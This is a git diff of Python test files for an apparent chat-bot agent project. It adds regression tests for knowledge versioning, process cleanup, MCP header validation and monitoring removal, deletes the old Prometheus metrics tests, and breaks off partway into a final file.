file mode 100644 index 000000000..b4d26796b --- /dev/null +++ b/tests/test_knowledge_review_regressions.py @@ -0,0 +1,92 @@ +"""Knowledge regressions through real ingest/import publication.""" +import sys +from types import SimpleNamespace + +import pytest + +from src.knowledge.importer import BulkImporter +from src.knowledge.store import KnowledgeStore + + +@pytest.fixture +def store(tmp_path): + store = KnowledgeStore(str(tmp_path / "knowledge.db")) + yield store + store.close() + + +@pytest.mark.asyncio +async def test_update_diff_uses_full_snapshot_not_overlapping_chunk_preview(store): + original = "\n".join(f"Line {n}: unique paragraph " + "word " * 25 for n in range(100)) + changed = original.replace("Line 50:", "Changed 50:") + await store.ingest(original, "long", dedup=False) + assert store.get_source_content("long") != original + await store.ingest(changed, "long", dedup=False) + versions = store.get_versions("long") + assert versions[0]["action"] == "update" + assert versions[0]["diff_summary"] == "+1 lines, -1 lines" + diff = store.get_version_diff("long", 1, 2) + assert diff is not None + assert diff["lines_added"] == diff["lines_removed"] == 1 + assert versions[0]["diff_summary"] == ( + f"+{diff['lines_added']} lines, -{diff['lines_removed']} lines" + ) + assert store.get_source_snapshot("long") == changed + + +@pytest.mark.asyncio +async def test_legacy_update_discloses_missing_snapshot(store): + await store.ingest("legacy content", "legacy", dedup=False) + store._conn.execute("DELETE FROM knowledge_versions WHERE source='legacy'") + store._conn.commit() + await store.ingest("replacement", "legacy", dedup=False) + version = store.get_versions("legacy")[0] + assert version["action"] == "update" + assert "snapshot unavailable" in version["diff_summary"] + + +@pytest.mark.asyncio +async def test_duplicate_sources_remain_lossless(store): + names = ["first,source 雪", "second,é", "third"] + for source in names: + await store.ingest("identical body " * 150, source, dedup=False) + groups = store.find_duplicates() + assert len(groups) == 1 + assert set(groups[0]["sources"]) == set(names) + assert groups[0]["source_count"] == 3 + + +@pytest.mark.asyncio +async def test_pdf_basename_collisions_and_explicit_legacy_name(store, monkeypatch): + async def fetch(url, **kwargs): + return SimpleNamespace(status=200, body=url.encode()) + + class Pdf: + page_count = 1 + + def __init__(self, content): + self.content = content + + def __getitem__(self, index): + return SimpleNamespace(get_text=lambda: self.content) + + def close(self): + pass + + monkeypatch.setattr("src.tools.safe_fetch.safe_fetch", fetch) + monkeypatch.setitem(sys.modules, "fitz", SimpleNamespace( + open=lambda stream, filetype: Pdf(stream.decode()))) + importer = BulkImporter(store) + urls = ["https://first.example/manual.pdf", "https://second.example/manual.pdf"] + for url in urls: + result = await importer.import_pdf_url(url) + assert result.status == "ok" + assert result.source == url + assert all(url in store.get_source_snapshot(url) for url in urls) + await store.ingest("legacy snapshot", "manual.pdf") + replacement_url = "https://legacy.example/manual.pdf" + result = await importer.import_pdf_url(replacement_url, source="manual.pdf") + assert result.source == "manual.pdf" + assert result.status == "ok" + assert replacement_url in store.get_source_snapshot("manual.pdf") + assert all(store.get_source_snapshot(url) for url in urls) diff --git a/tests/test_lifecycle_review_regressions.py b/tests/test_lifecycle_review_regressions.py new file mode 100644 index 000000000..f67b8aa0d --- /dev/null +++ b/tests/test_lifecycle_review_regressions.py @@ -0,0 +1,101 @@ +"""Independent lifecycle review: leader evidence is not cleanup authority.""" + +import base64 +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock + +from src.tools import process_manager as pm + + +class Lease: + def __init__(self): + self.target = SimpleNamespace(alias="fixture") + self.released = False + + async def run(self, operation): + return await operation() + + def release(self): + self.released = True + + +async def test_unknown_remote_cleanup_keeps_authority_but_starts_output_retention(monkeypatch): + registry = pm.ProcessRegistry() + lease = Lease() + record = pm.ProcessInfo(-1, "fixture", "fixture", 100, remote=True, remote_lease=lease) + registry._processes[-1] = record + registry._retained_generations[record.generation] = record + output = b"legitimate output\n" * 500 + reply = { + "ok": True, "status": "unknown", "unknown": True, + "exit": {"exit_code": 0, "finished_at": 200, "empty": False, + "group_empty": True, "containment": "process_group_only"}, + "output": base64.b64encode(output).decode("ascii"), + "start": 0, "cursor": len(output), "size": len(output), "emitted": len(output), + } + async def remote_reply(target, command, timeout): + request = json.loads(command) + offset = request["offset"] + chunk = output[offset:offset + request["limit"]] + return 0, json.dumps({ + **reply, "output": base64.b64encode(chunk).decode("ascii"), + "start": offset, "cursor": offset + len(chunk), + }) + + registry._remote_exec = AsyncMock(side_effect=remote_reply) + monkeypatch.setattr(registry, "_remote_controller_command", + lambda record, operation, payload, deadline: payload) + scheduled = [] + monkeypatch.setattr(registry, "_schedule_output_expiry", scheduled.append) + monkeypatch.setattr(pm.time, "time", lambda: 201) + page = await registry._poll_remote(record, 0, offset=0, limit=pm.OUTPUT_PAGE_MAX) + assert record.status == "unknown" and record.transport_unknown + assert not record.session_confirmed_empty and not lease.released + assert record.finished_at == 200 + assert scheduled == [record] + assert "legitimate output" in page and json.loads(page)["status"] == "unknown" + collected = "" + while True: + delivered = json.loads(page) + collected += delivered["text"] + if not delivered["truncated"]: + break + offset = int(delivered["cursor"].split(":")[1]) + page = await registry._poll_remote(record, 0, offset=offset, limit=pm.OUTPUT_PAGE_MAX) + assert collected.encode("utf-8") == output + assert scheduled == [record] + + # Expiring evidence must not imply unknown descendants were terminated. + monkeypatch.setattr(pm.time, "time", lambda: 200 + pm.OUTPUT_RETENTION_SECONDS) + assert "retention expired" in await registry._poll_remote(record, 0, offset=0) + assert record.output_revoked and not lease.released + assert not record.session_confirmed_empty + + +async def test_explicit_local_kill_retires_authority_only_on_owned_cleanup(monkeypatch): + registry = pm.ProcessRegistry() + lease = Lease() + process = SimpleNamespace(pid=12345, returncode=0) + record = pm.ProcessInfo(12345, "fixture", "localhost", 100, + process=process, host_lease=lease) + registry._processes[record.pid] = record + proven = False + + async def terminate(proc, **kwargs): + pass + + async def confirm(info): + return proven + + monkeypatch.setattr("src.tools.ssh.terminate_process_tree", terminate) + monkeypatch.setattr(registry, "_kill_group_until_gone", confirm) + monkeypatch.setattr(registry, "_schedule_output_expiry", lambda info: None) + result = await registry.kill(record.pid) + assert "outcome_unknown=true" in result + assert record.status != "killed" and not lease.released + assert not record.session_confirmed_empty + proven = True + assert await registry.kill(record.pid) == f"Process {record.pid} killed." + assert record.session_confirmed_empty and lease.released + assert record.host_lease is None and record.status == "killed" diff --git a/tests/test_listener_credential_provenance.py b/tests/test_listener_credential_provenance.py index 6ce1d38a2..04c40abe5 100644 --- a/tests/test_listener_credential_provenance.py +++ b/tests/test_listener_credential_provenance.py @@ -140,7 +140,8 @@ async def test_listener_consent_rejects_every_session_even_admin_or_default_spoo response = await client.post( "/api/setup/listener", headers={"Authorization": f"Bearer {sid}"}, json=CONSENT, ) - assert response.status == 403, await response.text() + expected = 401 if source == "rotated_legacy_default" else 403 + assert response.status == expected, await response.text() assert store.state().loopback_restricted diff --git a/tests/test_llm_gateway.py b/tests/test_llm_gateway.py index 742ed7f49..b3339994a 100644 --- a/tests/test_llm_gateway.py +++ b/tests/test_llm_gateway.py @@ -1341,13 +1341,14 @@ def test_kimi_alias_setter_updates_neutral_compatible_generation(self): def test_stale_compatible_auxiliary_is_retired_on_provider_reload(self): live_transport = object() - stale_aux = SimpleNamespace(provider="compat", aux_client=object()) + stale_aux = SimpleNamespace(provider="compat", aux_client=object(), model="vendor/cheap") gateway = _gw(_cfg(), kimi=live_transport, aux=stale_aux) gateway._schedule_drain = MagicMock() gateway._reconcile_auxiliary_primary() - assert gateway.auxiliary_llm_client is None + assert gateway.auxiliary_llm_client.aux_client is live_transport + assert gateway.auxiliary_llm_client.model == "vendor/cheap" gateway._schedule_drain.assert_called_once_with(stale_aux) def test_live_compatible_auxiliary_survives_reconcile(self): diff --git a/tests/test_local_workspace.py b/tests/test_local_workspace.py index 2bf42551c..d995a52fd 100644 --- a/tests/test_local_workspace.py +++ b/tests/test_local_workspace.py @@ -793,8 +793,8 @@ def test_leaf_symlinked_data_paths_protect_the_target(tmp_path: Path) -> None: def _metrics_after_refresh(executor, timeout: float = 5.0) -> dict[str, float]: """Scrape, wait for the off-thread usage walk, scrape again. - Usage is refreshed in the background since round 10 — /metrics is served on - the event loop and this directory never prunes, so the walk must not run on + Usage is refreshed in the background because this directory never prunes, + so the walk must not run on the calling thread. Tests that assert on usage therefore have to let the refresh land. """ @@ -828,50 +828,6 @@ def test_workspace_metrics_never_raise_on_an_invalid_workspace( assert executor.get_workspace_metrics() == {} -def test_workspace_gauges_render_for_prometheus(workspace: Path, fake_install: Path) -> None: - from src.health.metrics import MetricsCollector - - executor = _executor_with_workspace(workspace, fake_install) - (workspace / "f").write_bytes(b"12345") - _metrics_after_refresh(executor) # let the background usage walk land - collector = MetricsCollector() - collector.register_source("workspace", executor.get_workspace_metrics) - rendered = collector.render() - for name in ( - "odin_workspace_bytes", - "odin_workspace_files", - "odin_workspace_free_bytes", - "odin_workspace_free_inodes", - ): - assert f"# TYPE {name} gauge" in rendered - assert any(line.startswith(f"{name} ") for line in rendered.splitlines()), ( - f"{name} value line missing" - ) - - -def test_workspace_gauges_tolerate_partial_and_failing_sources() -> None: - """A partial dict renders what it has; a raising source is swallowed so the - metrics endpoint cannot be taken down by workspace trouble.""" - from src.health.metrics import MetricsCollector - - partial = MetricsCollector() - partial.register_source("workspace", lambda: {"bytes": 10.0}) - rendered = partial.render() - assert "odin_workspace_bytes 10" in rendered - assert "odin_workspace_free_inodes" not in rendered - - def _boom() -> dict[str, float]: - raise OSError("filesystem unavailable") - - failing = MetricsCollector() - failing.register_source("workspace", _boom) - assert "odin_workspace_bytes" not in failing.render() - - empty = MetricsCollector() - empty.register_source("workspace", dict) - assert "odin_workspace_bytes" not in empty.render() - - def test_blank_configured_data_paths_are_skipped(tmp_path: Path, workspace: Path) -> None: """A blank/whitespace data path contributes no protected root rather than protecting the process's current directory by accident.""" @@ -1680,8 +1636,9 @@ async def test_skill_run_on_host_fails_closed_on_an_invalid_workspace( executor = _executor_with_workspace(tmp_path / "no-parent" / "ws", fake_install) ctx = SkillContext.__new__(SkillContext) ctx._executor = executor - with pytest.raises(WorkspaceError): - await ctx.run_on_host("localhost", "echo should-not-run") + output = await ctx.run_on_host("localhost", "echo should-not-run") + assert "local_working_dir does not exist" in output + assert "should-not-run\n" not in output def test_active_config_file_directory_is_protected( @@ -1762,8 +1719,8 @@ def test_no_active_config_protects_nothing_extra(tmp_path: Path) -> None: def test_repeated_scrapes_inside_the_ttl_do_not_re_walk( fake_install: Path, workspace: Path ) -> None: - """A scrape loop must not walk continuously. /metrics is unauthenticated, - and the workspace deliberately never prunes.""" + """Repeated reads must not walk continuously, and the workspace + deliberately never prunes.""" executor = _executor_with_workspace(workspace, fake_install) (workspace / "one").write_text("x" * 10, encoding="utf-8") @@ -2186,8 +2143,7 @@ def test_aliased_config_protects_both_the_alias_and_the_target(tmp_path: Path) - def test_workspace_usage_is_never_walked_on_the_calling_thread( fake_install: Path, workspace: Path ) -> None: - """Round-10 metrics correction: /metrics is served on the event loop, so - the walk must happen off-thread, and free space must stay live even when + """The usage walk must happen off-thread, and free space must stay live even when usage is served from cache.""" executor = _executor_with_workspace(workspace, fake_install) (workspace / "one").write_text("x" * 10, encoding="utf-8") diff --git a/tests/test_main_exit_codes.py b/tests/test_main_exit_codes.py index 3bd48fa3b..dcf82bfcb 100644 --- a/tests/test_main_exit_codes.py +++ b/tests/test_main_exit_codes.py @@ -22,18 +22,12 @@ from src.discord.connection_supervisor import ConnectionSupervisor -class _FakeMetrics: - def register_source(self, name, fn): - pass - - class _FakeHealthServer: """Stands in for src.health.HealthServer; records lifecycle calls.""" instances: list[_FakeHealthServer] = [] def __init__(self, *args, **kwargs): - self.metrics = _FakeMetrics() self.started = False self.stopped = False self.fail_start: Exception | None = None diff --git a/tests/test_max_reasoning_effort.py b/tests/test_max_reasoning_effort.py index 1f7e6afc7..259f8b949 100644 --- a/tests/test_max_reasoning_effort.py +++ b/tests/test_max_reasoning_effort.py @@ -84,8 +84,10 @@ def test_exception_map_is_exact_known_names(self): class TestLoadBoundary: - """Config load fails loudly on a persisted incompatible pair — exactly - like any other invalid config value; never boot into per-request 400s.""" + """Effective pairs are checked at the root save boundary, not legacy axes. + + Startup uses its explicit compatibility context and warns instead. + """ def test_max_valid_on_capable_model(self): cfg = OpenAICodexConfig(model="gpt-5.6-sol", reasoning_effort="max") @@ -96,36 +98,26 @@ def test_max_valid_on_unknown_model(self): def test_main_pair_rejected(self): with pytest.raises(ValidationError, match="gpt-5.4"): - OpenAICodexConfig(model="gpt-5.4", reasoning_effort="max") + Config(discord={"token": "fixture"}, + openai_codex={"model": "gpt-5.4", "reasoning_effort": "max"}) def test_fixed_agent_pair_rejected(self): - with pytest.raises(ValidationError, match="agent settings"): - OpenAICodexConfig( - model="gpt-5.6-sol", - reasoning_effort="medium", - agent_model="gpt-5.4", - agent_reasoning_effort="max", - ) + with pytest.raises(ValidationError, match="gpt-5.4"): + Config(discord={"token": "fixture"}, agents={"model": "gpt-5.4"}, + openai_codex={"reasoning_effort": "medium", "agent_reasoning_effort": "max"}) def test_agent_effort_inheriting_bad_main_model_rejected(self): # agent_model None inherits the main gpt-5.4 → (gpt-5.4, max) - with pytest.raises(ValidationError, match="agent settings"): - OpenAICodexConfig( - model="gpt-5.4", - reasoning_effort="xhigh", - agent_model=None, # explicit inherit (default is now "auto") - agent_reasoning_effort="max", - ) + with pytest.raises(ValidationError, match="gpt-5.4"): + Config(discord={"token": "fixture"}, agents={"model": None}, + openai_codex={"model": "gpt-5.4", "reasoning_effort": "xhigh", + "agent_reasoning_effort": "max"}) def test_agent_model_inheriting_max_effort_rejected(self): # agent effort None inherits the main "max" onto a fixed gpt-5.4 - with pytest.raises(ValidationError, match="agent settings"): - OpenAICodexConfig( - model="gpt-5.6-sol", - reasoning_effort="max", - agent_model="gpt-5.4", - agent_reasoning_effort=None, # explicit inherit (default is now "auto") - ) + with pytest.raises(ValidationError, match="gpt-5.4"): + Config(discord={"token": "fixture"}, agents={"model": "gpt-5.4"}, + openai_codex={"reasoning_effort": "max", "agent_reasoning_effort": None}) def test_auto_model_axis_exempt(self): # Per-spawn selection: the spawn/request boundaries own the pair. diff --git a/tests/test_mcp_campaign.py b/tests/test_mcp_campaign.py new file mode 100644 index 000000000..72103379b --- /dev/null +++ b/tests/test_mcp_campaign.py @@ -0,0 +1,62 @@ +import json +from unittest.mock import AsyncMock + +import pytest +from aiohttp import _http_writer +from multidict import CIMultiDict + +from src.tools.mcp import protocol as p +from src.tools.mcp.client import MCPServerConnection, _render_tool_result + + +def test_union_header_annotation_excludes_only_invalid_tool(): + schema = {"properties": {"value": {"type": ["string", "null"], "x-mcp-header": "value"}}} + check = p.extract_header_params(schema) + assert not check.ok + assert "only applies" in check.reason + assert p.extract_header_params({"properties": {"value": { + "type": "string", "x-mcp-header": "value"}}}).ok + + +async def test_real_discovery_keeps_valid_tools_beside_union_header(): + conn = MCPServerConnection("fake", "http", url="https://unused.invalid/mcp") + conn.connected = True + conn.era = p.ERA_MODERN + conn.negotiated_version = "2026-07-28" + conn._request = AsyncMock(return_value={"tools": [ + {"name": "bad", "inputSchema": {"type": "object", "properties": { + "value": {"type": ["string", "null"], "x-mcp-header": "value"}}}}, + {"name": "good", "inputSchema": {"type": "object", "properties": {}}}, + ]}) + discovery = await conn.discover_tools() + assert discovery.tools[0].excluded + assert not discovery.tools[1].excluded + + +@pytest.mark.parametrize("newline", ["\n", "\r", "\r\n"]) +def test_header_validation_rejects_terminal_newline_and_encodes_values(newline): + assert not p.extract_header_params({"properties": {"value": { + "type": "string", "x-mcp-header": "value" + newline}}}).ok + encoded = p.encode_header_value("ordinary" + newline) + assert encoded.startswith("=?base64?") + # The real HTTP serializer accepts the encoded header without a socket. + _http_writer._serialize_headers("GET / HTTP/1.1", CIMultiDict({"Mcp-Param-value": encoded})) + + +def test_structured_records_survive_text_summary(): + records = {"results": [{"id": "record-17", "value": "substantive"}]} + text, error = _render_tool_result({"content": [{"type": "text", "text": "Found results"}], + "structuredContent": records}) + assert not error + assert "Found results" in text and "record-17" in text + + +@pytest.mark.parametrize("fenced", [False, True]) +def test_structured_json_text_copy_is_not_duplicated(fenced): + records = {"results": [{"id": "record-17"}]} + copy = json.dumps(records) + if fenced: + copy = f"```json\n{copy}\n```" + text, _ = _render_tool_result({"content": [{"type": "text", "text": copy}], + "structuredContent": records}) + assert text == copy diff --git a/tests/test_metrics.py b/tests/test_metrics.py deleted file mode 100644 index 6611ef3e8..000000000 --- a/tests/test_metrics.py +++ /dev/null @@ -1,350 +0,0 @@ -"""Tests for Prometheus metrics endpoint and MetricsCollector. - -Covers: -- /metrics endpoint returns text/plain Prometheus format -- Process info metrics (odin_up, odin_start_time_seconds, odin_uptime_seconds) -- Tool execution metrics (calls, errors, timeouts per tool) -- Component health metrics -- Circuit breaker metrics -- Session count metrics -- Scheduler count metrics -- Autonomous loop count metrics -- Label escaping -- Error resilience (broken sources don't crash) -- MetricsCollector in isolation -""" - -from __future__ import annotations - -from aiohttp.test_utils import TestClient, TestServer - -from src.config.schema import WebhookConfig -from src.health.metrics import MetricsCollector, _escape_label_value, _format_metric -from src.health.server import HealthServer - -# --------------------------------------------------------------------------- -# Helpers -# --------------------------------------------------------------------------- - -def _make_server(*, ready: bool = True) -> HealthServer: - cfg = WebhookConfig(enabled=False) - server = HealthServer(port=0, webhook_config=cfg) - if ready: - server.set_ready(True) - return server - - -# --------------------------------------------------------------------------- -# MetricsCollector unit tests -# --------------------------------------------------------------------------- - -class TestMetricsCollector: - def test_render_minimal(self): - mc = MetricsCollector() - output = mc.render() - assert "odin_up 0" in output - assert "odin_start_time_seconds" in output - assert "odin_uptime_seconds" in output - - def test_render_ready(self): - mc = MetricsCollector() - mc.set_ready(True) - output = mc.render() - assert "odin_up 1" in output - - def test_render_not_ready(self): - mc = MetricsCollector() - mc.set_ready(False) - output = mc.render() - assert "odin_up 0" in output - - def test_tool_metrics(self): - mc = MetricsCollector() - mc.register_source("tools", lambda: { - "run_command": {"calls": 10, "errors": 2, "timeouts": 1}, - "read_file": {"calls": 5, "errors": 0, "timeouts": 0}, - }) - output = mc.render() - assert 'odin_tool_calls_total{tool="run_command"} 10' in output - assert 'odin_tool_errors_total{tool="run_command"} 2' in output - assert 'odin_tool_timeouts_total{tool="run_command"} 1' in output - assert 'odin_tool_calls_total{tool="read_file"} 5' in output - assert 'odin_tool_errors_total{tool="read_file"} 0' in output - - def test_tool_metrics_empty(self): - mc = MetricsCollector() - mc.register_source("tools", lambda: {}) - output = mc.render() - # No tool metrics when empty - assert "odin_tool_calls_total" not in output - - def test_component_health_metrics(self): - mc = MetricsCollector() - mc.set_component_check(lambda: { - "database": {"healthy": True, "detail": "connected"}, - "llm": {"healthy": False, "detail": "circuit open"}, - }) - output = mc.render() - assert 'odin_component_healthy{component="database"} 1' in output - assert 'odin_component_healthy{component="llm"} 0' in output - - def test_component_health_empty(self): - mc = MetricsCollector() - mc.set_component_check(lambda: {}) - output = mc.render() - assert "odin_component_healthy" not in output - - def test_circuit_breaker_metrics(self): - class FakeCB: - state = "closed" - _failure_count = 0 - - mc = MetricsCollector() - mc.register_source("circuit_breaker", lambda: FakeCB()) - output = mc.render() - assert "odin_circuit_breaker_state 0" in output - assert "odin_circuit_breaker_failures 0" in output - - def test_circuit_breaker_open(self): - class FakeCB: - state = "open" - _failure_count = 5 - - mc = MetricsCollector() - mc.register_source("circuit_breaker", lambda: FakeCB()) - output = mc.render() - assert "odin_circuit_breaker_state 2" in output - assert "odin_circuit_breaker_failures 5" in output - - def test_circuit_breaker_half_open(self): - class FakeCB: - state = "half_open" - _failure_count = 3 - - mc = MetricsCollector() - mc.register_source("circuit_breaker", lambda: FakeCB()) - output = mc.render() - assert "odin_circuit_breaker_state 1" in output - - def test_session_count(self): - mc = MetricsCollector() - mc.register_source("sessions", lambda: 7) - output = mc.render() - assert "odin_active_sessions 7" in output - - def test_scheduler_count(self): - mc = MetricsCollector() - mc.register_source("scheduler", lambda: 12) - output = mc.render() - assert "odin_schedules_total 12" in output - - def test_loop_count(self): - mc = MetricsCollector() - mc.register_source("loops", lambda: 3) - output = mc.render() - assert "odin_active_loops 3" in output - - def test_broken_source_does_not_crash(self): - mc = MetricsCollector() - mc.register_source("tools", lambda: (_ for _ in ()).throw(RuntimeError("boom"))) - mc.register_source("sessions", lambda: 5) - output = mc.render() - # Tool metrics absent but sessions still present - assert "odin_tool_calls_total" not in output - assert "odin_active_sessions 5" in output - - def test_broken_component_check_does_not_crash(self): - mc = MetricsCollector() - - def bad_check(): - raise RuntimeError("check failed") - - mc.set_component_check(bad_check) - output = mc.render() - # Should still render process info - assert "odin_up" in output - assert "odin_component_healthy" not in output - - def test_help_and_type_headers(self): - mc = MetricsCollector() - mc.set_ready(True) - output = mc.render() - assert "# HELP odin_up" in output - assert "# TYPE odin_up gauge" in output - assert "# HELP odin_uptime_seconds" in output - - def test_ends_with_newline(self): - mc = MetricsCollector() - output = mc.render() - assert output.endswith("\n") - - def test_uptime_is_positive(self): - mc = MetricsCollector() - output = mc.render() - for line in output.split("\n"): - if line.startswith("odin_uptime_seconds "): - val = float(line.split()[-1]) - assert val >= 0 - - -# --------------------------------------------------------------------------- -# Label escaping -# --------------------------------------------------------------------------- - -class TestLabelEscaping: - def test_escape_backslash(self): - assert _escape_label_value("a\\b") == "a\\\\b" - - def test_escape_double_quote(self): - assert _escape_label_value('a"b') == 'a\\"b' - - def test_escape_newline(self): - assert _escape_label_value("a\nb") == "a\\nb" - - def test_escape_combined(self): - assert _escape_label_value('a\\"\n') == 'a\\\\\\"\\n' - - def test_no_escape_needed(self): - assert _escape_label_value("run_command") == "run_command" - - -# --------------------------------------------------------------------------- -# _format_metric -# --------------------------------------------------------------------------- - -class TestFormatMetric: - def test_simple_gauge(self): - result = _format_metric("test_metric", 42, help_text="A test") - assert "# HELP test_metric A test" in result - assert "# TYPE test_metric gauge" in result - assert "test_metric 42" in result - - def test_counter_with_labels(self): - result = _format_metric( - "test_total", 10, - metric_type="counter", - labels={"method": "GET", "status": "200"}, - ) - assert "# TYPE test_total counter" in result - assert 'test_total{method="GET",status="200"} 10' in result - - def test_no_header(self): - result = _format_metric("test_val", 5, include_header=False) - assert "# HELP" not in result - assert "# TYPE" not in result - assert "test_val 5" in result - - def test_labels_sorted(self): - result = _format_metric( - "m", 1, - labels={"z_label": "z", "a_label": "a"}, - include_header=False, - ) - assert 'a_label="a",z_label="z"' in result - - -# --------------------------------------------------------------------------- -# /metrics HTTP endpoint -# --------------------------------------------------------------------------- - -class TestMetricsEndpoint: - async def test_metrics_returns_200(self): - server = _make_server(ready=True) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - assert resp.status == 200 - text = await resp.text() - assert "odin_up 1" in text - - async def test_metrics_content_type(self): - server = _make_server(ready=True) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - ct = resp.headers.get("Content-Type", "") - assert "text/plain" in ct - - async def test_metrics_when_not_ready(self): - server = _make_server(ready=False) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - assert resp.status == 200 # /metrics always returns 200 - text = await resp.text() - assert "odin_up 0" in text - - async def test_metrics_with_components(self): - server = _make_server(ready=True) - server.register_component("db", lambda: (True, "ok")) - server.register_component("cache", lambda: (False, "down")) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - text = await resp.text() - assert 'odin_component_healthy{component="db"} 1' in text - assert 'odin_component_healthy{component="cache"} 0' in text - - async def test_metrics_with_tool_source(self): - server = _make_server(ready=True) - server.metrics.register_source("tools", lambda: { - "run_command": {"calls": 5, "errors": 1, "timeouts": 0}, - }) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - text = await resp.text() - assert 'odin_tool_calls_total{tool="run_command"} 5' in text - assert 'odin_tool_errors_total{tool="run_command"} 1' in text - - async def test_metrics_with_session_source(self): - server = _make_server(ready=True) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - text = await resp.text() - # Default sessions source returns 0 - assert "odin_active_sessions 0" in text - - async def test_metrics_accessible_without_auth(self): - """Verify /metrics is in the auth-skip list and accessible without token.""" - from src.health.server import _AUTH_SKIP_PREFIXES - assert any("/metrics".startswith(p) for p in _AUTH_SKIP_PREFIXES) - - async def test_metrics_includes_all_sections(self): - server = _make_server(ready=True) - server.register_component("test_comp", lambda: (True, "ok")) - server.metrics.register_source("tools", lambda: { - "web_search": {"calls": 3, "errors": 0, "timeouts": 0}, - }) - server.metrics.register_source("scheduler", lambda: 4) - server.metrics.register_source("loops", lambda: 2) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - text = await resp.text() - assert "odin_up 1" in text - assert "odin_start_time_seconds" in text - assert "odin_uptime_seconds" in text - assert "odin_component_healthy" in text - assert "odin_tool_calls_total" in text - assert "odin_schedules_total 4" in text - assert "odin_active_loops 2" in text - assert "odin_active_sessions 0" in text - - -# --------------------------------------------------------------------------- -# HealthServer.metrics property -# --------------------------------------------------------------------------- - -class TestHealthServerMetricsProperty: - def test_metrics_property_returns_collector(self): - server = _make_server() - assert isinstance(server.metrics, MetricsCollector) - - def test_set_ready_syncs_to_collector(self): - server = _make_server(ready=False) - output = server.metrics.render() - assert "odin_up 0" in output - server.set_ready(True) - output = server.metrics.render() - assert "odin_up 1" in output - - def test_register_component_syncs_to_collector(self): - server = _make_server(ready=True) - server.register_component("my_comp", lambda: (True, "fine")) - output = server.metrics.render() - assert 'odin_component_healthy{component="my_comp"} 1' in output diff --git a/tests/test_multi_provider_schema_boundaries.py b/tests/test_multi_provider_schema_boundaries.py index 5a578bbc5..bd863b222 100644 --- a/tests/test_multi_provider_schema_boundaries.py +++ b/tests/test_multi_provider_schema_boundaries.py @@ -52,8 +52,8 @@ def test_blank_inheritance_is_not_a_concrete_model_selection(): LLMProviderConfig(model=" ") config = Config(discord={"token": "fake"}) config.llm_provider.model = " " - with pytest.raises(ValueError, match="concrete serving provider"): - config._derive_active_provider_from_main_model() + with pytest.raises(ValueError, match="concrete model reference"): + Config.model_validate(config.model_dump()) def test_host_id_rejects_non_uuid_and_overlong_text(): diff --git a/tests/test_native_agents_tasks.py b/tests/test_native_agents_tasks.py index 19fd7a68f..225186899 100644 --- a/tests/test_native_agents_tasks.py +++ b/tests/test_native_agents_tasks.py @@ -985,7 +985,7 @@ async def test_routes_cheap_when_enabled(self): async def test_falls_to_active_when_no_aux(self): active = SimpleNamespace(chat=AsyncMock(return_value="strong")) - gateway = SimpleNamespace(active_client=active, auxiliary_llm_client=None) + gateway = SimpleNamespace(active_client=active, auxiliary_llm_client=None, chat=active.chat) cb = await self._capture_cb(gateway) assert await cb([], "s", 200) == "strong" active.chat.assert_awaited_once() diff --git a/tests/test_native_media.py b/tests/test_native_media.py index 202525d5c..51bbc2c57 100644 --- a/tests/test_native_media.py +++ b/tests/test_native_media.py @@ -420,6 +420,10 @@ async def test_backend_failure_and_http_error(self): assert "Failed to upload generated" in str(out) assert out.audit_metadata["backend"] == "openai" assert out.audit_metadata["delivery_status"] == "upload_failed" + assert not out.ok + assert out.error == "image_delivery_failed" + assert "do not regenerate" in out.output + sel.generate.assert_awaited_once() async def test_removed_options_are_rejected_before_generation(self): sel = self._selector(result=self._result()) diff --git a/tests/test_native_monitoring_removal.py b/tests/test_native_monitoring_removal.py new file mode 100644 index 000000000..8d7271c33 --- /dev/null +++ b/tests/test_native_monitoring_removal.py @@ -0,0 +1,70 @@ +"""Native monitoring removal preserves upgrades and component health.""" +from __future__ import annotations + +from types import SimpleNamespace + +from aiohttp.test_utils import TestClient, TestServer + +from src.config.schema import Config, WebConfig, WebhookConfig +from src.health.server import AUTH_PUBLIC_PREFIXES, HealthServer +from src.tools.defs.media_scheduling import TOOLS_SECTION as TOOLS +from src.tools.skill_context import SkillContext + + +def test_removed_settings_are_inert_and_neighbors_survive(): + config = Config.model_validate({ + "discord": {"token": "fixture"}, + "grafana_alerts": {"auto_remediate": True, "rules": [{"id": "old"}]}, + "webhook": {"grafana_channel_id": "old", "enabled": True, "channel_id": "kept"}, + }) + assert not hasattr(config, "grafana_alerts") + assert not hasattr(config.webhook, "grafana_channel_id") + assert config.webhook.enabled + assert config.webhook.channel_id == "kept" + assert "grafana_alerts" not in config.model_dump() + + +def test_scheduling_catalog_no_longer_advertises_removed_trigger(): + for tool in TOOLS: + if tool["name"] in {"schedule_task", "update_schedule"}: + trigger = tool["input_schema"]["properties"]["trigger"]["properties"] + assert "grafana" not in trigger["source"]["enum"] + assert "alert_name" not in trigger + assert not hasattr(SkillContext, "query_prometheus") + assert "/metrics" not in AUTH_PUBLIC_PREFIXES + + +async def test_removed_routes_absent_but_component_health_remains(): + server = HealthServer( + webhook_config=WebhookConfig(enabled=True), web_config=WebConfig(enabled=False), + ) + server.set_ready() + server.register_component("fixture", lambda: (True, "healthy")) + assert not hasattr(server, "metrics") + async with TestClient(TestServer(server._app)) as client: + for path in ("/metrics", "/api/grafana-alerts/status"): + assert (await client.get(path)).status == 404 + assert (await client.post("/webhook/grafana", json={})).status == 404 + response = await client.get("/health/ready") + assert response.status == 200 + body = await response.json() + assert body["components"]["fixture"] == {"healthy": True, "detail": "healthy"} + + +def test_startup_wires_component_health_without_a_metrics_collector(): + from src.__main__ import _wire_observability + + components = {} + health = SimpleNamespace( + register_component=lambda name, check: components.setdefault(name, check), + ) + bot = SimpleNamespace( + config=SimpleNamespace(discord=SimpleNamespace(token="configured")), + latency=0.01, + is_ready=lambda: True, + ) + + _wire_observability(health, bot, SimpleNamespace(info=lambda _message: None)) + + assert set(components) == {"discord"} + assert components["discord"]() == (True, "latency=10ms") diff --git a/tests/test_observability_aggregates_paths.py b/tests/test_observability_aggregates_paths.py index c806117fd..231fdcfd6 100644 --- a/tests/test_observability_aggregates_paths.py +++ b/tests/test_observability_aggregates_paths.py @@ -11,7 +11,6 